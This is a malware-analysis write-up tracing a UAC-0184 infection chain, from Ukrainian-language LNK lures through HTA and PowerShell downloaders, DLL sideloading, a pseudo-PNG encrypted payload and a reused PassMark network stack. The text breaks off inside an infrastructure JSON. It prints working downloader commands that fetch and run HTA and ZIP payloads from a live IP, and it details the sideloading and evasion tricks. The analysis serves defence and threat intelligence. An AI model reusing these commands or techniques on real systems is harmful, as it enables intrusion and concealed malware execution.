Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:23+00:00
   Accessed time: 2026-03-26 15:53:23+00:00
   Modified time: 2026-03-26 15:53:23+00:00
   File size: 0
   Icon index: 250
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 24439

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: MS Еxcel Worksheеt
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/agentdiesel.hta %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
         && mshta.exe %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
      Icon location: SHELL32.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 23636
         Appended data sha256: 30a5f342c3f9bff21d18b874d51c289a5414837731118e6765dad225c55d5996
Data Summary:

Scan_088.pdf.lnk

Description: РDF Dоcument
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/slippersuppity.hta
         %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta && mshta.exe %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta

Рапорт.lnk

Description: MS Wоrd Documеnt
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/basketpast.hta %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
         && mshta.exe %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta

Таблиця.xlsx.lnk

Description: MS Еxcel Worksheеt
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/agentdiesel.hta %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
         && mshta.exe %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta

So the lure language is not exactly random. It is already pointing us into the same general target space as the CERT-UA reporting around UAC-0184.

When trying to download the referenced files directly, I got the following error:


To me, this looked like gated delivery. Most likely geofencing, client filtering or both. So I used Kraken with bitsadmin-style emulation and a proxy path to test the delivery behavior.
Btw: What a coincidence that this happened around the same time as Gamaredon’s switch to using Bitsadmin 😉

After a few tests, I was able to retrieve the malicious payload:

<HTML>
<HEAD>
<HTA:APPLICATION ID="App" WINDOWSTATE="minimize" />
</HEAD>
<BODY>
<script language="JScript">
        var o = new ActiveXObject('Wscript.Shell');
        o.Run('powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { $TempDir = $env:APPDATA; $ZipFile = \\\"$TempDir\\\\dctrprraclus.zip\\\"; $ExtractPath = \\\"$TempDir\\\\ApplicationData32\\\"; if (-not (Test-Path $ZipFile)) { Invoke-WebRequest -Uri \\\"169.40.135.35/dctrprraclus.zip\\\" -OutFile $ZipFile }; if ((-not (Test-Path \\\"$ExtractPath\\\\Cluster-Overlay64.exe\\\")) -and (-not (Test-Path \\\"$ExtractPath\\\\Scan_001.pdf\\\"))) { Expand-Archive -Path $ZipFile -DestinationPath $ExtractPath -Force }; Start-Process \\\"$ExtractPath\\\\Cluster-Overlay64.exe\\\"; Start-Process \\\"$ExtractPath\\\\Scan_001.pdf\\\" }"', 0, false);
        window.close();
</script>
</BODY>
</HTML>

At that point we had another file to load. But before jumping into it, I want to show how Kraken can help automate this kind of workflow in the future.

Tracking the delivery with Kraken

The requirement for this case is simple:

  • bitsadmin emulation plus geofencing or proxy handling
  • web request download plus geofencing or proxy handling
  • extraction of follow-up URLs from returned payloads
  • repeat without manually babysitting every single stage like it is a fragile houseplant

I created an operation for this purpose.



Then I added a URL threat entity with the type payload_download.

Then we also need import profiles, one for the URLs and one for the malware downloads

After that, I created a tracking definition for the operation.

The important part here is the regex used to extract further URLs from results.

Once saved, tracking is active. From there, we only need to wait for results or add new URLs when they appear during analysis.

Payload archive


The results contained multiple HTA files, but they all pointed to the same ZIP archive: dctrprraclus.zip

So that is the next thing to look at.

Inside the archive, there are multiple files. Of course we do not want to manually reverse every single file in the directory because that would be madness and I try to keep my hobbies at least somewhat healthy.

So I narrowed it down and scanned the files first.

Since Cluster-Overlay64.exe is the entry point, that is where I started.

Plane9Engine.exe or Cluster-Overlay64.exe belongs to Plane9, a 3D music visualizer for Windows. It is normally used to analyze audio signals in real time and generate visual effects, for example during music playback or as a screensaver.

Technically, the Plane9 engine contains the rendering logic. It processes audio input, for example via FFT analysis and generates dynamic 3D scenes using DirectX or OpenGL.

So the presence of Cluster-Overlay64.exe alone is not suspicious. It appears to match a legitimate Plane9 application.

The suspicious part is the packaging around it.

There are additional files such as .bin and .lib artifacts. In a legitimate software package, this exact combination and placement is not exactly what you expect. Especially an isolated high-entropy .bin file is often a good hint that we are looking at an encrypted or packed payload.

In combination with executable files and several DLLs, this strongly suggests a DLL sideloading scenario. A legitimate application or loader is used to load manipulated or additional components from the local directory. The actual malicious function is not in the visible main executable but in libraries or external data blobs that are loaded later.

Two files immediately stood out:

  • filter.bin
  • kernel-diag.lib

Not only because of the extensions, but also because the files could not be identified cleanly.

Looking at entropy and headers confirmed the suspicion.

BASS.dll also has high entropy, but on first look it appears harmless. I kept it in mind anyway because malware analysis rewards paranoia more often than optimism.

The more interesting files are filter.bin and kernel-diag.lib.

Now that we know Cluster-Overlay64.exe is likely legitimate and probably causes filter.bin or kernel-diag.lib to be loaded indirectly, the next question is simple: how exactly are those files loaded?

Reconstructing the sideload chain

I started by looking at strings across all DLLs and searching for the filenames.

kernel-diag.lib appears only in openvr_api.dll, so we can assume that kernel-diag.lib is loaded by openvr_api.dll.

Then I continued.

This gives us the next part: openvr_api.dll is likely loaded by Plane9Engine.dll and Plane9Engine.dll is loaded by the entry point Cluster-Overlay64.exe.

From that, the sideload process can already be reconstructed:

ClusterOverlay64.exe -> Plane9Engine.dll -> openvr_api.dll -> kernel-diag.lib -> ??filter.bin??

At this point, it is worth opening Ghidra and looking at the relevant call sites.

Plane9Engine.dll loads openvr_api.dll. Nothing particularly unusual so far.

The payload loader inside openvr_api.dll does not contain a full payload. Instead, it contains a data block with obfuscated strings and parameters.
These include filenames such as kernel-diag.lib and filter.bin, although filter.bin is hidden more nicely, as well as API names.
The loader manually parses the kernel32 export table to resolve the required Windows functions dynamically. Then it determines its own path and uses the strings stored in the embedded data block to load files from disk.
Concretely, it loads kernel-diag.lib, reads its full content into memory and performs a simple decoding step: DWORD-wise addition using a key contained in the file.

The decoded blob contains another internal structure with additional information and payload data, including embedded code for evr.dll. That blob is copied into memory, prepared, memory protections are adjusted and then execution continues into the next stage.

For decoding and payload extraction, I wrote two small scripts.

Decoding Script (Click to view)
import struct

with open("kernel-diag.lib", "rb") as f:
    data = f.read()

offset = 0x24d1

size = struct.unpack("<I", data[offset:offset+4])[0]
key  = struct.unpack("<I", data[offset+4:offset+8])[0]

print(f"offset: {hex(offset)}")
print(f"size: {size}")
print(f"key: {hex(key)}")

decoded = bytearray(data)

for i in range(offset+8, min(len(decoded), offset+8+size), 4):
    if i + 4 > len(decoded):
        break

    val = struct.unpack("<I", decoded[i:i+4])[0]
    val = (val + key) & 0xffffffff
    decoded[i:i+4] = struct.pack("<I", val)

with open("decoded.bin", "wb") as f:
    f.write(decoded[offset:])

The output already looks promising. Right at the beginning we can see evr.dll.

evr.dll, the Enhanced Video Renderer, is a Microsoft Windows component used for video rendering and multimedia applications such as Windows Media Player.

So we import the extracted file into Ghidra.

The entry point is at 0xED0.

That looks beautiful :3

The substring trick


The first-stage loader stores a pointer (local_8[5]) into the middle of a larger embedded RTTI-like string.
Rather than referencing the full .?AV?$numpunctfilter.bin symbol, the pointer starts exactly at the f of filter.bin. The loader then converts this substring into a wide-character string and passes it to the next stage, which uses it to construct the on-disk path and read the secondary payload.

means

local_8 = (DWORD *)0x1003e3d0;

then

local_8[5] in C:

local_8[5]

so

Adresse = 0x1003e3d0 + (5 * 4)
        = 0x1003e3d0 + 0x14
        = 0x1003e3e4

Retrieve a value from memory:

62 eb 03 10 in little endian => 0x1003eb62

Let’s move on to the address:

The string starts at 0x1003eb54, but our pointer is 0x1003eb62. That is exactly where the substring filter.bin starts.

1003eb54  .
1003eb55  ?
1003eb56  A
1003eb57  V
1003eb58  ?
1003eb59  $
1003eb5a  n
1003eb5b  u
1003eb5c  m
1003eb5d  p
1003eb5e  u
1003eb5f  n
1003eb60  c
1003eb61  t
1003eb62  f
1003eb63  i
1003eb64  l
1003eb65  t
1003eb66  e
1003eb67  r
1003eb68  .
1003eb69  b
1003eb6a  i
1003eb6b  n

This technique avoids explicit string manipulation entirely and reduces the need for recognizable operations such as strstr, memcpy with offsets or substring extraction, making static analysis slightly more deceptive.

The same trick appears for kernel-diag.lib.
To find the relevant local_8 candidate for loading kernel-diag.lib, we use the same logic:

local_8[?] = 0x1003eaf1

because

local_8 = (DWORD *)0x1003e3d0;

1003e3d0       local_8[0]
1003e3d4       local_8[1]
1003e3d8       local_8[2]
1003e3dc       local_8[3]
1003e3e0       local_8[4]
1003e3e4       local_8[5]
1003e3e8       local_8[6]
1003e3ec       local_8[7] <<<< our candidate

Adresse: 0x1003e3ec
Base:    0x1003e3d0

Offset = 0x1c
Index  = 0x1c / 4 = 7

local_8[7] = 0x1003eaf1 → "kernel-diag.lib"

Jump to 0x1003e3ec and confirm f1 ea 03 10 => 0x1003eaf1

Our candidate used in the loader:

So at this point it is clear that evr.dll loads both kernel-diag.lib and filter.bin through this substring trick.

What we still do not know is what happens to filter.bin. And that is where the interesting part starts.

We already know that kernel-diag.lib is decoded via DWORD addition using a key stored inside the file. But filter.bin behaves differently. It has no size or key header at the beginning and the hex dump shows the same random-letter camouflage that appears at the start of kernel-diag.lib.

So what is it?

What the shellcode actually does

Before looking at filter.bin directly, it is worth taking another look at the decoded shellcode. The strings near the end of the decoded blob are surprisingly talkative.

0x170dx89PNG
0x1721http
0x172dRtl…
0x1735User..
0x1755GET
0x178dIDAT
0x17adNAME
0x17c5IEND
0x17d5.dll
0x17f6EF{DATA=

\x89PNG, IDAT and IEND are PNG chunk markers.

So the shellcode is not just a generic decoder. It is a PNG chunk parser.

The Rtl... and USER... strings are API-name fragments that are later resolved through a PEB walk. Rtl... strongly points toward RtlDecompressBuffer and yes, that becomes relevant later.

The strings http, GET and the interesting template EF{DATA= point to a separate HTTP code path.

We park that for a moment. It comes back near the end.

When going through the entry function at 0xED0, three core functions matter:

0x1Diteriert PNG chunks (length-DWORD big-endian, type-DWORD, data, CRC)
0x15ADBig-endian DWORD reader für die PNG length-felder
0x161DEine memmem-style suche, findet chunks per type-name
0x26DDWORD-weise XOR decryptor, key kommt aus chunk-metadata
0x72DAPI resolver — PEB walk + name-hash compare
0x8DDkleiner memcpy
0xED0Entry — orchestriert das ganze gegen filter.bin

That gives us the shape of stage 3 without executing anything:

The shellcode opens filter.bin, finds all IDAT chunks, appends their data and XOR-decodes the resulting blob with a key derived from chunk metadata or surrounding structure. What falls out is the next stage.

filter.bin is a PNG that is not a PNG

filter.bin is 1,377,370 bytes large or 0x15045A.

If you open the file directly in a hex editor, you do not see the normal PNG magic \x89PNG\r\n. The first roughly 16 KB are just the same random-letter filler pattern seen earlier.

The first real chunk header, IDAT, is located at file offset 0x4052.

From there, the file contains a clean chunk sequence:

  • 166 xIDAT chunks, each 8192 bytes, with the last one being 7224 bytes
  • 1 xIEND chunk

The interesting part is that the author bothered to produce real PNG chunks.

A PNG-aware scanner does not simply see an encrypted blob. It sees a slightly broken but structurally plausible PNG-like object. Great. Even the file format is lying now.

When concatenating all IDAT data, we get a clean 1,358,904 byte payload blob.

Now we need to decrypt it.

Finding the XOR key

From the disassembly, the decoder function at 0x26D performs DWORD-wise XOR. So no RC4, no AES, no fancy stream cipher.

Just a constant 32-bit key.

The annoying part is finding that key.

What I tried first, unsuccessfully:

  • XOR with the CRC of a chunk: nonsense
  • derive the key from the chunk header, for example the IDAT type DWORD as seed: almost PE-looking output, but no clean MZ at a sane offset
  • per-chunk keys: same problem
  • use the first chunk bytes as key material against the rest: first few KB look English-ish, then noise

At some point the obvious thing clicked.

If the plaintext contains enough zeroes and a PE file usually contains plenty of zero-padding between sections, alignment bytes and header gaps, then the key itself should become the most frequent DWORD value in the ciphertext distribution.

Because:

0x00000000 XOR key = key

Frequency analysis across all 32-bit values in the concatenated IDAT stream gave two clear peaks:

0x227E9BDE~7400×
0x22719BD1~6300×

The delta between them is 0x000F0007, suspiciously close to a repeated low-pattern structure. That was enough evidence to commit to 0x227E9BDE as the key.

DWORD-wise XOR with 0x227E9BDE over the full IDAT data gives an output whose tail looks like this:

... de 9b 7e 22 de 9b 7e 22 de 9b 7e 22 de 9b 7e 22

That is the fingerprint of a stream that originally ended with zero-padding. Every null DWORD XORs back into the key bytes.

Key confirmed. Nice 🙂

Stage 4: LZNT1 and 16 bytes that wasted a few minutes

After XOR, the buffer is 1,358,904 bytes large.

The first 16 bytes are:

0000  18 3e 07 c8 00 00 00 00 c8 2c 6a 22 ca 2e 60 22

After that, the buffer almost looks like a PE. There are MZ-like sequences and many printable bytes. But it still does not decode cleanly.

There is one more layer.

When dumping the data in 9-byte rows, the structure becomes visible: one flag byte followed by 8 items. Each bit in the flag byte decides whether the corresponding item is a literal byte or a 16-bit back-reference.

That is LZNT1, the Microsoft NT-LZ77 compression format used by RtlCompressBuffer and RtlDecompressBuffer with COMPRESSION_FORMAT_LZNT1.

Bonus confirmation: the decoded shellcode already contained the string fragment Rtl... in its API resolver table. The shellcode resolves RtlDecompressBuffer at runtime.

So yes, we could have emulated the shellcode with Unicorn instead of implementing LZNT1 ourselves. But where would be the fun in that.

LZNT1 is specified in MS-XCA section 2.5. The format is chunk-based:

  • 16-bit chunk header: (size - 1) | flags
  • bit 15 indicates compressed
  • bits 12 to 14 contain the signature
  • bits 0 to 11 contain size - 1
  • compressed chunks contain sequences of one flag byte plus 8 items
  • each flag bit selects literal versus back-reference
  • the offset and length bit split of a back-reference changes depending on the position in the chunk

I used a small Python implementation over the XOR output starting at byte 16.

Click to view Code
def lznt1_decompress(src):
    out = bytearray(); pos = 0
    while pos + 2 <= len(src):
        hdr = int.from_bytes(src[pos:pos+2], 'little'); pos += 2
        if hdr == 0: break
        size = (hdr & 0x0FFF) + 1
        compressed = (hdr & 0x8000) != 0
        chunk_end = min(pos + size, len(src))
        if not compressed:
            out.extend(src[pos:chunk_end]); pos = chunk_end; continue
        chunk_start = len(out)
        while pos < chunk_end:
            flags = src[pos]; pos += 1
            for bit in range(8):
                if pos >= chunk_end: break
                if (flags >> bit) & 1 == 0:
                    out.append(src[pos]); pos += 1
                else:
                    if pos + 2 > chunk_end: break
                    word = int.from_bytes(src[pos:pos+2], 'little'); pos += 2
                    rel = len(out) - chunk_start
                    obits = 4; x = rel - 1
                    while x >= 0x10: obits += 1; x >>= 1
                    obits = max(4, obits)
                    lbits = 16 - obits
                    length = (word & ((1 << lbits) - 1)) + 3
                    offset = (word >> lbits) + 1
                    s = len(out) - offset
                    for _ in range(length):
                        out.append(out[s]); s += 1
        pos = chunk_end
    return bytes(out)

Output: 2017635 bytes.

The first MZ appears at offset 0x4F0.
Before that are 1264 bytes of structured loader configuration.
So we have the final payload unpacked.
The meaning of the 16 bytes before the LZNT1 stream remains open:

18 3e 07 c8 00 00 00 00 c8 2c 6a 22 ca 2e 60 22

It looks like an original-size DWORD plus 12 bytes of metadata, maybe CRC and flags.
The unpacking works without interpreting it, so I am leaving that open for now.

What is inside the 2 MB payload?

The first 0x4F0 bytes are loader configuration.

They contain mixed UTF-16LE and ASCII strings:

0x011  ' CC_amd64'           (UTF-16LE)   — architecture tag
0x045  '%APPDATA%'            (UTF-16LE)   — drop path variable
0x0F4  '%windir%\SysWOW64\input.dll'      — final on-disk path
0x163  'VSLauncher.exe'                   — sideload host (×2)

VSLauncher.exe is the Microsoft Visual Studio Version Selector.

It is Microsoft-signed and a known DLL hijack target because of loose import resolution and the trusted publisher chain. The deployment plan is therefore straightforward:

  1. Drop input.dll next to a copy of VSLauncher.exe under %windir%\SysWOW64\.
  2. Start VSLauncher.exe.
  3. Let it side-load input.dll.
  4. Run the DLL inside a Microsoft-signed process tree.
  5. Enjoy the optics. Apparently that is what we do now.

After the config, there are 8 PE files back-to-back.

#OffsetArchSizeWas es ist
10x004F0i386 EXE433 KBPassMark Endpoint (signed Sectigo)
20x0809D2i386 EXE287 KBInfo-ZIP unzip.exe
30x0CBEAAx64 EXE6.5 KBsmall helper
40x11E1AEi386 EXE3 KBstub
50x11EDAEx64 EXE113 KBx64 console tool
60x13A7AEi386 DLL2.5 KBsmall DLL
70x13B1AEx64 DLL3 KBsmall DLL
80x13BE9Ai386 EXE102 KBMicrosoft SqlExpressChk.exe

I carved them by parsing PE headers and walking the section table to calculate disk size.

The remaining data after the last PE contains stacked Authenticode signature chains, including Sectigo Public Code Signing Root R46 and Microsoft Time-Stamp PCA. These PKCS#7 blobs are likely parsed at runtime so the dropped files can satisfy local Authenticode verification.

The two most interesting hashes are:

input.dll (PassMark Endpoint)   b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 (SqlExpressChk)           33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

I checked all eight PEs. Each one is a legitimately signed, publicly available, normally benign Windows utility.

None of them contains a hardcoded C2.

Why bundle a network testing tool?

At first glance, PassMark Endpoint as malware payload makes no sense.

PassMark Endpoint is the network component of PassMark BurnInTest.

Three properties matter:

  • it listens on UDP 224.0.0.255:31339 for multicast peer discovery
  • the discovery packet contains MSG_EPFIND in cleartext
  • it speaks the BurnInTest TCP protocol on port 31339 for peer-to-peer data transfer
  • it imports the full Winsock 2 stack: socket, bind, connect, send, recv, select
  • it imports IPHLPAPI, including GetAdaptersAddresses and if_nametoindex
  • it imports PDH performance counters
  • and yes, it imports dbghelp!MiniDumpWriteDump

The last one is the giveaway.

MiniDumpWriteDump in a network test utility is already interesting. In this context it becomes very interesting.

With input.dll running inside a VSLauncher.exe process, the operator gets:

  • LAN multicast discovery on an unprivileged port
  • a bidirectional TCP channel on a port whose traffic plausibly looks like PassMark BurnInTest
  • process-memory dump capability via a Microsoft DLL the operator did not even need to ship
  • a very clean cover identity: Microsoft-signed host process, Sectigo-signed PassMark DLL, network traffic that looks like diagnostics

This is similar in spirit to the misuse of vmtoolsd.exe or OneDriveSetup.exe for proxy execution, but one layer higher.

Instead of borrowing only a signed loader, the actor borrows a complete signed network stack.

That is the part I actually find clever.

Annoying, but clever.

The C2 question

The C2 question

I will say it directly: I did not find a hardcoded C2 endpoint.

After going through the artifacts, I am fairly confident there is no static C2 baked into the files I analyzed.

What I checked:

  • all 8 bundled PEs
  • every IPv4-like and URL-like string
  • openvr_api.dll
  • the decoded shellcode string table around 0x16DD to 0x1810
  • certificate-related URLs
  • PE resources and side-loaded artifacts

Everything URL-like in the bundled PEs is either:

  • 224.0.0.255, used by PassMark multicast discovery
  • 0.0.0.0
  • certificate-distribution infrastructure from Sectigo, Comodo or UserTrust

openvr_api.dll contains mostly Comodo, UserTrust and Sectigo strings, plus a neat piece of steganography. The strings kernel-diag.lib at file offset 0x3CEF1 and filter.bin at 0x3CF62 are placed between legitimate-looking C++ RTTI typeinfo entries in .rdata.

That is the same trick direction as the .?AV?$numpunctfilter.bin substring behavior from earlier.

No direct DWORD cross-references from .text point to them.

The shellcode string table contains fragments like:

%APP
windir
.dll
fmsvc
ikep
http
http2
GET
RtlH
USER
%y...EF{DATA=

but no host.

The form of the strings is the hint.

%y is not a standard printf specifier. It looks like a custom placeholder used by the malware author for runtime substitution.
Together with the HTTP-related fragments, the most reasonable interpretation is that the URL is assembled at runtime from a value that is not present in the static artifacts.

There are three plausible sources for the %y value:

  • A peer answer from LAN multicast discovery.
    If a controller is already present inside the LAN, MSG_EPFIND against 224.0.0.255:31339 could return the controller address.
    The operator would not need to bake the address into the dropper at all.
  • A command-line argument or environment variable set by the operator at deployment time.
    This fits hands-on-keyboard tradecraft: drop the toolkit, trigger it with a one-off argument pointing to staging.
  • A value read from the parent process or another local file.
    The shellcode has dynamic API resolution and file-handling primitives, so this is realistic.

Infrastructure Intelligence Model: Mapping the UAC-0184 chain

At this point, the sample is not just a malware unpacking exercise anymore.

The interesting part is the structure around it: gated HTA delivery, a shared ZIP payload, a legitimate application used as execution cover, local staged blobs, a pseudo-PNG container and finally a signed network-capable utility stack.

That is exactly the kind of case where IIM is useful.

IOCs tell us what existed at analysis time.
ATT&CK describes the endpoint behavior.
IIM lets us describe how the infrastructure and payload-delivery structure is composed.

For this chain, I model the HTA and ZIP delivery as staging infrastructure, the Plane9 and OpenVR path as local payload composition, the ‘filter.bin’ pseudo-PNG as a staged container and the PassMark / VSLauncher part as a payload-side network surface.

One important boundary: I am not forcing the PassMark component into an existing IIM technique just because it looks convenient. The observed behavior is signed third-party network-stack reuse, not a classic cloud API or third-party web service C2. Until the catalog has a more exact technique for that, I keep it as an extension candidate.

You can find the chains/patterns on the Malwarebox IIM Feed and if you want to work with them try the IIM Workbench.

Click To View Chain (JSON)
{
  "iim_version": "1.1",
  "chain_id": "uac-0184-pseudo-png-passmark-2026-05",
  "title": "UAC-0184 gated HTA delivery to pseudo-PNG staged payload and PassMark network stack",
  "description": "Observed UAC-0184 chain from gated HTA and ZIP delivery into Plane9-based sideloading, encoded local blobs, pseudo-PNG IDAT staging, LZNT1 unpacking and a signed VSLauncher / PassMark network-capable payload bundle. The internal controller or C2 element remains tentative because no static C2 endpoint was present in the analyzed artifacts.",
  "actor_id": "UAC-0184",
  "confidence": "likely",
  "needs_review": true,
  "x_note": "PassMark network-stack reuse is intentionally not forced into an existing IIM technique. It is modeled as an extension candidate because the observed behavior is closer to signed third-party network protocol reuse than to classic third-party application C2.",
  "entities": [
    {
      "id": "e_lure_lnk",
      "type": "file",
      "value": "Ukraine-themed LNK lure",
      "evidence": [
        "Initial chain uses bitsadmin /transfer and mshta.exe"
      ]
    },
    {
      "id": "e_hta_set",
      "type": "url",
      "value": "hxxp://169.40.135.35/dctrpr/*.hta",
      "evidence": [
        "slippersuppity.hta",
        "basketpast.hta",
        "agentdiesel.hta"
      ]
    },
    {
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "169.40.135.35",
      "x_delivery_path": "/dctrpr/"
    },
    {
      "id": "e_zip",
      "type": "file",
      "value": "dctrprraclus.zip",
      "evidence": [
        "All observed HTA files pointed to the same ZIP archive"
      ]
    },
    {
      "id": "e_cluster",
      "type": "file",
      "value": "Cluster-Overlay64.exe",
      "x_path": "%APPDATA%\\ApplicationData32\\Cluster-Overlay64.exe",
      "x_legitimate_software": "Plane9"
    },
    {
      "id": "e_plane9",
      "type": "file",
      "value": "Plane9Engine.dll",
      "x_legitimate_software": "Plane9"
    },
    {
      "id": "e_openvr",
      "type": "file",
      "value": "openvr_api.dll",
      "x_sha256": "df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7"
    },
    {
      "id": "e_kernel",
      "type": "file",
      "value": "kernel-diag.lib",
      "x_sha256": "dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3",
      "x_decoder": "DWORD-add, offset 0x24D1, size 6160, key 0x213AB052"
    },
    {
      "id": "e_evr",
      "type": "file",
      "value": "evr.dll decoded stage",
      "evidence": [
        "Decoded from kernel-diag.lib",
        "Entry point 0xED0"
      ]
    },
    {
      "id": "e_filter",
      "type": "file",
      "value": "filter.bin",
      "x_sha256": "f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372",
      "x_format": "Noise prefix plus PNG-like IDAT and IEND chunk sequence without PNG magic",
      "x_decoder": "Concatenate IDAT data, DWORD XOR 0x227E9BDE, skip 16 bytes, decompress LZNT1"
    },
    {
      "id": "e_bundle",
      "type": "file",
      "value": "filter.bin decoded LZNT1 payload bundle",
      "x_size_bytes": 2017635,
      "x_first_mz_offset": "0x4F0"
    },
    {
      "id": "e_vslauncher",
      "type": "file",
      "value": "VSLauncher.exe",
      "x_path": "%windir%\\SysWOW64\\VSLauncher.exe",
      "x_publisher": "Microsoft",
      "x_role_note": "Signed sideload host"
    },
    {
      "id": "e_input",
      "type": "file",
      "value": "input.dll",
      "x_path": "%windir%\\SysWOW64\\input.dll",
      "x_sha256": "b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb",
      "x_product": "PassMark Endpoint",
      "x_candidate_technique": "Signed third-party network stack reuse"
    },
    {
      "id": "e_multicast",
      "type": "ip",
      "value": "224.0.0.255",
      "x_port": 31339,
      "x_protocol": "udp",
      "x_marker": "MSG_EPFIND"
    },
    {
      "id": "e_controller",
      "type": "ip",
      "value": "internal peer/controller",
      "x_port": 31339,
      "x_protocol": "tcp",
      "x_placeholder": true
    }
  ],
  "chain": [
    {
      "entity_id": "e_lure_lnk",
      "role": "entry",
      "techniques": [],
      "role_confidence": "likely"
    },
    {
      "entity_id": "e_hta_set",
      "role": "entry",
      "techniques": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "techniques": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021"
      ],
      "role_confidence": "likely",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_zip",
      "role": "staging",
      "techniques": [
        "IIM-T024",
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_cluster",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_plane9",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_openvr",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "review_notes": "Loader DLL. DLL sideloading itself maps to ATT&CK, not IIM."
    },
    {
      "entity_id": "e_kernel",
      "role": "staging",
      "techniques": [
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "needs_review": true
    },
    {
      "entity_id": "e_evr",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_filter",
      "role": "staging",
      "techniques": [
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "needs_review": true,
      "review_notes": "Pseudo-PNG local staging is a strong structural signal, but the current catalog has no exact official technique for this file-format abuse."
    },
    {
      "entity_id": "e_bundle",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_vslauncher",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely"
    },
    {
      "entity_id": "e_input",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "x_candidate_technique": "Signed third-party network stack reuse"
    },
    {
      "entity_id": "e_multicast",
      "role": "c2",
      "techniques": [],
      "role_confidence": "tentative",
      "needs_review": true
    },
    {
      "entity_id": "e_controller",
      "role": "c2",
      "techniques": [],
      "role_confidence": "tentative",
      "needs_review": true,
      "review_notes": "No hardcoded external C2 found. Internal peer/controller remains a hypothesis."
    }
  ],
  "relations": [
    {
      "from": "e_lure_lnk",
      "to": "e_hta_set",
      "type": "references",
      "sequence_order": 1,
      "confidence": "likely"
    },
    {
      "from": "e_hta_set",
      "to": "e_delivery_ip",
      "type": "connect",
      "sequence_order": 2,
      "confidence": "confirmed"
    },
    {
      "from": "e_delivery_ip",
      "to": "e_zip",
      "type": "download",
      "sequence_order": 3,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_cluster",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_plane9",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_openvr",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_kernel",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_filter",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_cluster",
      "to": "e_plane9",
      "type": "execute",
      "sequence_order": 5,
      "confidence": "likely"
    },
    {
      "from": "e_plane9",
      "to": "e_openvr",
      "type": "references",
      "sequence_order": 6,
      "confidence": "likely"
    },
    {
      "from": "e_openvr",
      "to": "e_kernel",
      "type": "references",
      "sequence_order": 7,
      "confidence": "confirmed"
    },
    {
      "from": "e_kernel",
      "to": "e_evr",
      "type": "drops",
      "sequence_order": 8,
      "confidence": "confirmed"
    },
    {
      "from": "e_evr",
      "to": "e_filter",
      "type": "references",
      "sequence_order": 9,
      "confidence": "confirmed"
    },
    {
      "from": "e_filter",
      "to": "e_bundle",
      "type": "drops",
      "sequence_order": 10,
      "confidence": "confirmed"
    },
    {
      "from": "e_bundle",
